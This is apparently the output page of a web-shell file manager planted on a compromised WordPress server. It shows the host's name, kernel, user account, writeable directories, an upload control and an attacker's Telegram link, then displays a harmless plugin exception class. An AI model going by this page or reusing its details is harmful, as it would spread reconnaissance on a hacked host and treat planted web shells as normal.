https://t.me/AnonymousX5
Server : Apache
System : Linux ls31.server.ly 3.10.0-962.3.2.lve1.5.68.el7.x86_64 #1 SMP Wed Apr 6 11:12:23 UTC 2022 x86_64
User : medchoco ( 2906)
PHP Version : 8.3.16
Disable Function : mail
Directory :  /home/medchoco/www/wp-content/plugins/wp-console/includes/Exceptions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/medchoco/www/wp-content/plugins/wp-console/includes/Exceptions/WPConsoleException.php
<?php

namespace WPConsole\Exceptions;

use Exception;

class WPConsoleException extends Exception {

    /**
     * Error code
     *
     * @since 1.3.0
     *
     * @var string
     */
    protected $error_code = '';

    /**
     * Class constructor
     *
     * @since 1.3.0
     *
     * @param string $error_code
     * @param string $message
     * @param int    $status_code
     */
    public function __construct( $error_code, $message, $status_code = 422 ) {
        $this->error_code = $error_code;

        parent::__construct( $message, $status_code );
    }

    /**
     * Get error code
     *
     * @since 1.3.0
     *
     * @return string
     */
    final public function get_error_code() {
        return $this->error_code;
    }

    /**
     * Get error message
     *
     * @since 1.3.0
     *
     * @return string
     */
    final public function get_message() {
        return $this->getMessage();
    }

    /**
     * Get error status code
     *
     * @since 1.3.0
     *
     * @return int
     */
    final public function get_status_code() {
        return $this->getCode();
    }
}

https://t.me/AnonymousX5 - 2025